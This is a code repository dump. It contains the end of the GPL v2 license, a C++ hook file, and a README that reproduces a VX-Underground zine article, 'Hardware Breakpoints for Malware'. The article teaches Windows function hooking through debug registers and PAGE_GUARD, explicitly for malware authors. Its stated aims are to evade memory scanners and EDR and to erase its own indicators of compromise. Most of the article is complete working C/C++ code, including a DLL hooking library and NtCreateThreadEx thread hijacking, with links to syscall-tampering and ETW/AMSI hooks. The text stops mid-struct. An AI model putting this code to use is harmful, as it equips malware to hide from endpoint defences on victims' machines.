    c) Accompany it with the information you received as to the offer
    to distribute corresponding source code.  (This alternative is
    allowed only for noncommercial distribution and only if you
    received the program in object code or executable form with such
    an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

                            NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

                     END OF TERMS AND CONDITIONS

            How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.

    <one line to give the program's name and a brief idea of what it does.>
    Copyright (C) <year>  <name of author>

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License along
    with this program; if not, write to the Free Software Foundation, Inc.,
    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

    Gnomovision version 69, Copyright (C) year name of author
    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
    This is free software, and you are welcome to redistribute it
    under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  `Gnomovision' (which makes passes at compilers) written by James Hacker.

  <signature of Ty Coon>, 1 April 1989
  Ty Coon, President of Vice

This General Public License does not permit incorporating your program into
proprietary programs.  If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library.  If this is what you want to do, use the GNU Lesser General
Public License instead of this License.


================================================
FILE: NtCreateThreadExHook.cpp
================================================
//////////////////////////////////////////////////////////////////////////////////////////
/*                                  Detour Original Thread                              */
//////////////////////////////////////////////////////////////////////////////////////////
// 1) Disable HWBP for that thread
// 2) Create thread with the correct arguments but for the (7th | against 0x1) to create suspended
// 3) Get thread context on the Rcx which is the HANDLE output
// 4) Modify context with the correct hwbp from global variable
// 5) Set thread context with updated context
// 6) Resume thread
// 7) Restore our HWBP for our current thread
// 8) Set our RAX value to the return valued from the detoured NtCreateThreadEx
// 9) Set our RIP to a ret gadget so we avoid calling syscall again

// Global Variable 
PVOID START_THREAD{ 0 };


// capture original start address
HWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L"NTDLL.dll"),
										  "NtCreateThreadEx"), 1,
	([&](PEXCEPTION_POINTERS ExceptionInfo) {
	
	// save original thread address
	START_THREAD = (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28);
	// set the start address to our thread address 
	*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28) = (uintptr_t)&HijackThread;
	
	ExceptionInfo->ContextRecord->EFlags |= (1 << 16);
	
}) };
			
DWORD WINAPI HijackThread(LPVOID lpParameter)
{
	typedef DWORD(WINAPI* typeThreadProc)(LPVOID lpParameter);
	
	// Set required HWBP
	for (auto& i : HWBP_ADDRESS_MAP) {
		SetHWBP(GetCurrentThread(), i.first, i.second.pos, true);
	}
	
	// restore execution to original thread
	return ((typeThreadProc)START_THREAD)(lpParameter);
}


//////////////////////////////////////////////////////////////////////////////////////////
/*                                  Hook Suspended Thread                               */
//////////////////////////////////////////////////////////////////////////////////////////

// Find our ret ROP gadget 
uintptr_t FindRetAddr(const uintptr_t function)
{
	BYTE stub[]{ 0xC3 };
	for (unsigned int i = 0; i < (unsigned int)25; i++)
	{	
		// do not worry this will be optimized
		if (memcmp((LPVOID)(function + i), stub, sizeof(stub)) == 0) {
			return (function + i);
		}
	}
	return NULL;
}

typedef LONG(NTAPI* typeNtCreateThreadEx)(
	OUT PHANDLE hThread,
	IN ACCESS_MASK DesiredAccess,
	IN PVOID ObjectAttributes,
	IN HANDLE ProcessHandle,
	IN PVOID lpStartAddress,
	IN PVOID lpParameter,
	IN ULONG Flags,
	IN SIZE_T StackZeroBits,
	IN SIZE_T SizeOfStackCommit,
	IN SIZE_T SizeOfStackReserve,
	OUT PVOID lpBytesBuffer
); 

HWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L"NTDLL.dll"),
										  "NtCreateThreadEx"), 1,
	([&](PEXCEPTION_POINTERS ExceptionInfo) {

		// temporary disable of NtCreateThreadEx in our current thread.
		for (auto& i : HWBP_ADDRESS_MAP) {
			if (i.first == ExceptionInfo->ContextRecord->Rip) {	
				SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
			}
		}

		// create the original thread BUT suspended 
		// THREAD_CREATE_FLAGS_CREATE_SUSPENDED == 0x00000001
		// ( Flags | THREAD_CREATE_FLAGS_CREATE_SUSPENDED)
		LONG status = ((typeNtCreateThreadEx)ExceptionInfo->ContextRecord->Rip)(
			(PHANDLE)ExceptionInfo->ContextRecord->Rcx,
			(ACCESS_MASK)ExceptionInfo->ContextRecord->Rdx,
			(PVOID)ExceptionInfo->ContextRecord->R8,
			(HANDLE)ExceptionInfo->ContextRecord->R9,
			(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28),
			(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x30),
			(ULONG) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x38) | 0x1ull,
			(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x40),
			(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x48),
			(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x50),
			(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x58)
		);


		CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };

		GetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
			&context);
		
		// Setup required HWBP
		for (auto& i : HWBP_ADDRESS_MAP) {
			(&context.Dr0)[i.second.pos] = i.first;

			context.Dr7 &= ~(3ull << (16 + 4 * i.second.pos));
			context.Dr7 &= ~(3ull << (18 + 4 * i.second.pos));
			context.Dr7 |= 1ull << (2 * i.second.pos);
		}

		SetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
			&context);

		ResumeThread((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx));

		// restore our HWBP on NtCreateThreadEx
		for (auto& i : HWBP_ADDRESS_MAP) {
			if (i.first == ExceptionInfo->ContextRecord->Rip) {	
				SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
			}
		}
		
		// RAX contains the return value.
		ExceptionInfo->ContextRecord->Rax = status;

		// Set RIP to a ret gadget to avoid creating 
		// another new thread (skip syscall instruction) 
		ExceptionInfo->ContextRecord->Rip = 
			FindRetAddr(ExceptionInfo->ContextRecord->Rip);
}) };







================================================
FILE: README.md
================================================
This article was origininally for [VX-Underground Black Mass Halloween Edition 2022](https://papers.vx-underground.org/papers/Other/VXUG%20Zines/Black%20Mass%20Halloween%202022.pdf).

Hooking Engines:
- [Multi-thread safe x86/x64 hwbp hooking engine c](HWBP.c)
- [PAGE_GUARD/hwbp Breakpoint Library c++20](DRPGG.cpp)
- [hwbp Library (DLL example) c++20](HWBPP.cpp)

Generic x64 user-land evasion technique utilizing debug registers:

- [TamperingSyscalls2 c](TamperingSyscalls2.c)
- [TamperingSyscalls2 c++20](TamperingSyscalls2.cpp)

Example ETW/AMSI hooks available
- [rad9800/misc](https://github.com/rad9800/misc/tree/main/hooks)

## Hardware Breakpoints for Malware v 1.0 

Our task is to trivially hook functions and divert the code flow as needed, and finally 
remove the hook once it is no longer needed. 

We cannot look to apply IAT hooks as they are not always called and thus unreliable. 
Inline hooking is a powerful technique; however, it requires we patch the memory where 
the code lies. This is a powerful technique, but tools such as PE-Sieve and Moneta can 
distinguish the difference in the memory resident and on-disk copy of a module and flag 
this. This leaves us with the perfect tool for the job: Debug Registers, though they are 
pretty underappreciated by malware authors!

On Windows, as a high-level overview, a process is essentially an encapsulation of
threads, and each of these threads maintains a context which is the thread's state: the
registers and stack etc. Debug registers are a privileged resource, and so is setting
them; however, Windows exposes various syscalls, which allow us to request that the
kernel make a privileged action on our behalf; this includes setting debug registers
which are perfect for us. NtSetThreadContext and NtGetThreadContext expose functionality
to modify any thread context to which we can open a handle with the necessary privilege.
We can see how to set debug registers with the Win32 API.

```c
	CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
	GetThreadContext(thd, &context);

	// set our debug information in the Dr registers

	SetThreadContext(thd, &context);
```

There are 8 Debug registers, from Dr0 through to Dr7. The ones of interest to us are only
Dr0-3 which we store addresses we would like to break on, and Dr6 is just the debug
status. Most importantly is Dr7, which describes the breakpoints conditions in which the
processor will throw an exception. There are various limitations when using debug
registers, such as a limited number (4) and not being applied to all threads/newly
spawned threads. We will look to address some of these limitations!

When the exception is thrown, it will look for an exception handler which we can define
and register in our program [1]. In our defined exception handler, we want our associated
code (different code flows) to run when the corresponding breakpoint is triggered.

```c
LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo)
{
	if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)
	{
		// Look for our associated code flow relative to our RIP 
		if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) {
			HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo);
			return EXCEPTION_CONTINUE_EXECUTION;
		}
	}
	return EXCEPTION_CONTINUE_SEARCH;
}
```

This is achieved by a constructor function that sets the mapping between a "callback"
lambda function and an address.
using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;

```c
typedef struct {
	UINT										pos;
	EXCEPTION_FUNC								func;
} HWBP_CALLBACK;

// Global
std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 };

// Create our mapping 
HWBP_ADDRESS_MAP[address].func = function;
HWBP_ADDRESS_MAP[address].pos = pos;
```

We must iterate through all our process threads and set the corresponding adjustments to
the context for them. This can be achieved using the ToolHelp32 helper functions:
CreateToolhelp32Snapshot, and Thread32Next. This is nothing fancy, but it addresses one
of our limitations of not attaching to all threads.

```c
VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true)
{
	DWORD pid{ GetCurrentProcessId() };
	HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) };
	if (h != INVALID_HANDLE_VALUE) {
		THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) };
		if (Thread32First(h, &te)) {
			do {
				if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) +
					sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {

					HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
					if (thd != INVALID_HANDLE_VALUE) {
						SetHWBP(thd, address, pos, init);
						CloseHandle(thd);
					}
				}
				te.dwSize = sizeof(te);
			} while (Thread32Next(h, &te));
		}
		CloseHandle(h);
	}
}
```

Having hardware breakpoints set are arguably suspicious as they may indicate malicious
activity (though no EDRs, to my knowledge, actively scan for them). They can be used
against us as a potential IoC so we must remove their traces once we are done using them.

We can implement this in our deconstructor function!! This will iterate through all
threads and check if the register (&context.Dr0)[pos] points to the address at which we
initially set the hardware breakpoint (pos is just an index % 4 giving us access to the
context.Dr0-Dr3). We can also remove the conditions needed in the Dr7 register. We must
also remember to remove our mapping entry. Therefore, our hardware breakpoint will only
be present for the required duration!
```c
SetHWBPS(address, pos, false);
HWBP_ADDRESS_MAP.erase(address);
```
An example hardware breakpoint would be Sleep, where we just replace the sleep duration
with 0.
```c
HWBP HWBPSleep{ (uintptr_t)&Sleep, 0,	// Set Dr 0 
	([&](PEXCEPTION_POINTERS ExceptionInfo) {
		ExceptionInfo->ContextRecord->Rcx = 0;
		ExceptionInfo->ContextRecord->EFlags |= (1 << 16);	// continue execution
}) };
```
We know to set RCX due to the x64 Windows four-register fast-call calling convention[1].
The first argument to the constructor is the address to break on, the second is which Dr0-
3 register to store in (note, we can only have 4 addresses to break on at one time), and
the third is a lambda function which will capture by reference PEXCEPTION_POINTERS which
is the information an exception handler will receive. This will ultimately let us control
the flow of a program differently depending on which breakpoint was triggered.

When a new thread is created, it does not inherit the associated Debug Registers set
unless we somehow manage to intercept the creation of a new thread! One neat trick we can
use would be to capture the actual start address and divert the new thread to create our
own thread. The majority of new threads are ended up calling NtCreateThreadEx.
```c
// Global Variable 
PVOID START_THREAD{ 0 };


// capture original start address
HWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L"NTDLL.dll"),
										  "NtCreateThreadEx"), 1,
	([&](PEXCEPTION_POINTERS ExceptionInfo) {
	
	// save original thread address
	START_THREAD = (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28);
	// set the start address to our thread address 
	*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28) = (uintptr_t)&HijackThread;
	
	ExceptionInfo->ContextRecord->EFlags |= (1 << 16);
	
}) };
			
DWORD WINAPI HijackThread(LPVOID lpParameter)
{
	typedef DWORD(WINAPI* typeThreadProc)(LPVOID lpParameter);
	
	// Set required HWBP
	for (auto& i : HWBP_ADDRESS_MAP) {
		SetHWBP(GetCurrentThread(), i.first, i.second.pos, true);
	}
	
	// restore execution to original thread
	return ((typeThreadProc)START_THREAD)(lpParameter);
}
```

One limitation of this solution is that the call stack for the thread will originate in
our injected DLL's HijackThread and not the original thread! Alternatively, a better
solution would be to call NtCreateThreadEx ourselves but start it in a suspended state
and then set the required hardware breakpoints. Then we restore execution by resuming the
suspended thread with the debug registers set for this new thread. This will address
another limitation of using debug registers.

To call the instruction we have a breakpoint set on would trigger an infinite loop;
therefore, we temporarily disable the hardware breakpoint responsible for triggering our
current RIP. Then once we are done making the call, we can restore it. This will thus let
us call the original function (like a trampoline). In this case, we must point our RIP to
a ret gadget so that it can return and not make another syscall instruction.

The 5th parameter, including and onwards, can be found pushed onto the stack at 0x8 byte
intervals [2]. Our stack looks something like this when we trigger the breakpoint.
```
                ___________________________
               |                           |
               | 0x8 + lpBytesBuffer       |
               |___________________________|
               |                           |
               | 0x8 + SizeOfStackReserve  |
               |___________________________|
               |                           |
               | 0x8 + SizeOfStackCommit   |
               |___________________________|
               |                           |
               | 0x8 + StackZeroBits       |
               |___________________________|
               |                           |
               | 0x8 + Flags               |
               |___________________________|
               |                           |
               | 0x8 + lpParameter         |
               |___________________________|
               |                           |
               | 0x8 + lpStartAddress      |
RSP + 0x28 +-> |___________________________|
               |                           |
               |                           |
               |                           |  R9  +-> (HANDLE)ProcessHandle
               | 0x20 + Shadow Store       |  R8  |-> (PVOID) ObjectAttributes
               |                           |  RDX |-> (ACCESS_MASK) DesiredAccess
               |                           |  RCX +-> (PHANDLE) hThread
               |___________________________|
               |                           |
               | 0x8 + Call Ret Addr       |  RIP +-> NtCreateThreadEx
       RSP +-> |___________________________|

```
```c
// Find our ret ROP gadget 
uintptr_t FindRetAddr(const uintptr_t function)
{
	BYTE stub[]{ 0xC3 };
	for (unsigned int i = 0; i < (unsigned int)25; i++)
	{	
		// do not worry this will be optimized
		if (memcmp((LPVOID)(function + i), stub, sizeof(stub)) == 0) {
			return (function + i);
		}
	}
	return NULL;
}

typedef LONG(NTAPI* typeNtCreateThreadEx)(
	OUT PHANDLE hThread,
	IN ACCESS_MASK DesiredAccess,
	IN PVOID ObjectAttributes,
	IN HANDLE ProcessHandle,
	IN PVOID lpStartAddress,
	IN PVOID lpParameter,
	IN ULONG Flags,
	IN SIZE_T StackZeroBits,
	IN SIZE_T SizeOfStackCommit,
	IN SIZE_T SizeOfStackReserve,
	OUT PVOID lpBytesBuffer
); 

HWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L"NTDLL.dll"),
										  "NtCreateThreadEx"), 1,
	([&](PEXCEPTION_POINTERS ExceptionInfo) {

		// temporary disable of NtCreateThreadEx in our current thread.
		for (auto& i : HWBP_ADDRESS_MAP) {
			if (i.first == ExceptionInfo->ContextRecord->Rip) {	
				SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
			}
		}

		// create the original thread BUT suspended 
		// THREAD_CREATE_FLAGS_CREATE_SUSPENDED == 0x00000001
		// ( Flags | THREAD_CREATE_FLAGS_CREATE_SUSPENDED)
		LONG status = ((typeNtCreateThreadEx)ExceptionInfo->ContextRecord->Rip)(
			(PHANDLE)ExceptionInfo->ContextRecord->Rcx,
			(ACCESS_MASK)ExceptionInfo->ContextRecord->Rdx,
			(PVOID)ExceptionInfo->ContextRecord->R8,
			(HANDLE)ExceptionInfo->ContextRecord->R9,
			(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28),
			(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x30),
			(ULONG) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x38) | 0x1ull,
			(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x40),
			(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x48),
			(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x50),
			(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x58)
		);


		CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };

		GetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
			&context);
		
		// Setup required HWBP
		for (auto& i : HWBP_ADDRESS_MAP) {
			(&context.Dr0)[i.second.pos] = i.first;

			context.Dr7 &= ~(3ull << (16 + 4 * i.second.pos));
			context.Dr7 &= ~(3ull << (18 + 4 * i.second.pos));
			context.Dr7 |= 1ull << (2 * i.second.pos);
		}

		SetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
			&context);

		ResumeThread((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx));

		// restore our HWBP on NtCreateThreadEx
		for (auto& i : HWBP_ADDRESS_MAP) {
			if (i.first == ExceptionInfo->ContextRecord->Rip) {	
				SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
			}
		}
		
		// RAX contains the return value.
		ExceptionInfo->ContextRecord->Rax = status;

		// Set RIP to a ret gadget to avoid creating 
		// another new thread (skip syscall instruction) 
		ExceptionInfo->ContextRecord->Rip = 
			FindRetAddr(ExceptionInfo->ContextRecord->Rip);
}) };
```																
I share a hardware breakpoint hooking engine you can use written in C++. The example
hardware breakpoint sets a breakpoint in Dr0 on the sleep function, and set's the first
value (in RCX) to 0, skipping all sleeps. To set this breakpoint in all future new
threads, you can use the above example, which utilizes Dr1.
```c
//////////////////////////////////////////////////////////////////////////////////////////
/*                                      HWBPP.cpp - @rad9800                            */
/*                         C++ Hardware Breakpoint Library (DLL example)                */
//////////////////////////////////////////////////////////////////////////////////////////
// dllmain.cpp : Defines the entry point for the DLL application.
// /std:c++20
#include "pch.h"
#include <windows.h>

#include <tlhelp32.h>
#include <functional>

using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;

//////////////////////////////////////////////////////////////////////////////////////////
/*                                          Structs                                     */
//////////////////////////////////////////////////////////////////////////////////////////
typedef struct {
	UINT										pos;
	EXCEPTION_FUNC								func;
} HWBP_CALLBACK;

//////////////////////////////////////////////////////////////////////////////////////////
/*                                          Globals                                     */
//////////////////////////////////////////////////////////////////////////////////////////
// maintain our address -> lambda function mapping 
std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 };

//////////////////////////////////////////////////////////////////////////////////////////
/*                                          Funcs                                       */
//////////////////////////////////////////////////////////////////////////////////////////
VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init)
{
	CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
	GetThreadContext(thd, &context);

	if (init) {
		(&context.Dr0)[pos] = address;

		context.Dr7 &= ~(3ull << (16 + 4 * pos));
		context.Dr7 &= ~(3ull << (18 + 4 * pos));
		context.Dr7 |= 1ull << (2 * pos);
	}
	else {
		if ((&context.Dr0)[pos] == address) {
			context.Dr7 &= ~(1ull << (2 * pos));
			(&context.Dr0)[pos] = NULL;
		}
	}

	SetThreadContext(thd, &context);
}

VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true)
{
	const DWORD pid{ GetCurrentProcessId() };
	const HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) };
	if (h != INVALID_HANDLE_VALUE) {
		THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) };
		if (Thread32First(h, &te)) {
			do {
				if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) +
					sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {

					const HANDLE thd = 
									OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
					if (thd != INVALID_HANDLE_VALUE) {
						SetHWBP(thd, address, pos, init);
						CloseHandle(thd);
					}
				}
				te.dwSize = sizeof(te);
			} while (Thread32Next(h, &te));
		}
		CloseHandle(h);
	}
}

//////////////////////////////////////////////////////////////////////////////////////////
/*                                      Exception Handler                               */
//////////////////////////////////////////////////////////////////////////////////////////
LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo)
{
	if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)
	{
		if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) {
			HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo);
			return EXCEPTION_CONTINUE_EXECUTION;
		}
	}
	return EXCEPTION_CONTINUE_SEARCH;
}

//////////////////////////////////////////////////////////////////////////////////////////
/*                                        Classes                                       */
//////////////////////////////////////////////////////////////////////////////////////////
template<typename HANDLER>
struct HWBP {
public:
	HWBP(const uintptr_t address, const UINT idx,
		const HANDLER function) : address{ address } , pos{idx % 4}
	{
		SetHWBPS(address, pos);

		HWBP_ADDRESS_MAP[address].func = function;
		HWBP_ADDRESS_MAP[address].pos = pos;
	};

	VOID RemoveHWBPS()
	{
		SetHWBPS(address, pos, false);
		HWBP_ADDRESS_MAP.erase(address);
	}

	~HWBP()
	{
		RemoveHWBPS();
	}

private:
	const uintptr_t address;
	UINT			pos;
};


// Global Scope 
HWBP HWBPSleep{ (uintptr_t)&Sleep, 0,
	([&](PEXCEPTION_POINTERS ExceptionInfo) { 
		ExceptionInfo->ContextRecord->Rcx = 0;
		ExceptionInfo->ContextRecord->EFlags |= (1 << 16);
}) };
//////////////////////////////////////////////////////////////////////////////////////////
/*                                          Entry                                       */
//////////////////////////////////////////////////////////////////////////////////////////
extern "C" 
BOOL APIENTRY DllMain(HANDLE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) 
{
	HANDLE handler = NULL;
    switch (ul_reason_for_call)
    {
	case DLL_PROCESS_ATTACH: {
		handler = AddVectoredExceptionHandler(1, ExceptionHandler);
	}; break;
	case DLL_THREAD_ATTACH: {
	} break;
	case DLL_THREAD_DETACH: {

	}; break;
	case DLL_PROCESS_DETACH: {
		if (handler != nullptr) RemoveVectoredExceptionHandler(handler);
	}; break;
    }
    return TRUE;
}

//////////////////////////////////////////////////////////////////////////////////////////
/*                                         EOF                                          */
//////////////////////////////////////////////////////////////////////////////////////////
```
As we discussed earlier, keeping a debug register set is a bad practice. Therefore, we
will complement our usage of debug registers with PAGE_GUARD hooks, allowing us to free
up one of the debug registers: Dr1 (used for NtCreateThreadEx).

PAGE_GUARDs are essentially one-shot memory protection that will throw an exception. They
are applied to pages at the lowest level of allocation granularity present in the system (
which can sometimes prove to be a hindrance). PAGE_GUARD hooking is nothing new, but we
can use it to address some of our limitations. We will initially apply our PAGE_GUARD to
the address, and the PAGE_GUARD will be triggered by throwing a PAGE_GUARD_VIOLATION.

VirtualProtect((LPVOID)address, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);

We can apply the same concept of mapping a lambda to trigger at a specific address. We
will single-step through the function instructions on our current page while re-applying
the PAGE_GUARD. This is obviously relatively slow but has the benefit of not reserving up
a Debug register. For the primary reason of being slow, we opted against using them
primarily.


```c
typedef struct {
	EXCEPTION_FUNC								func;
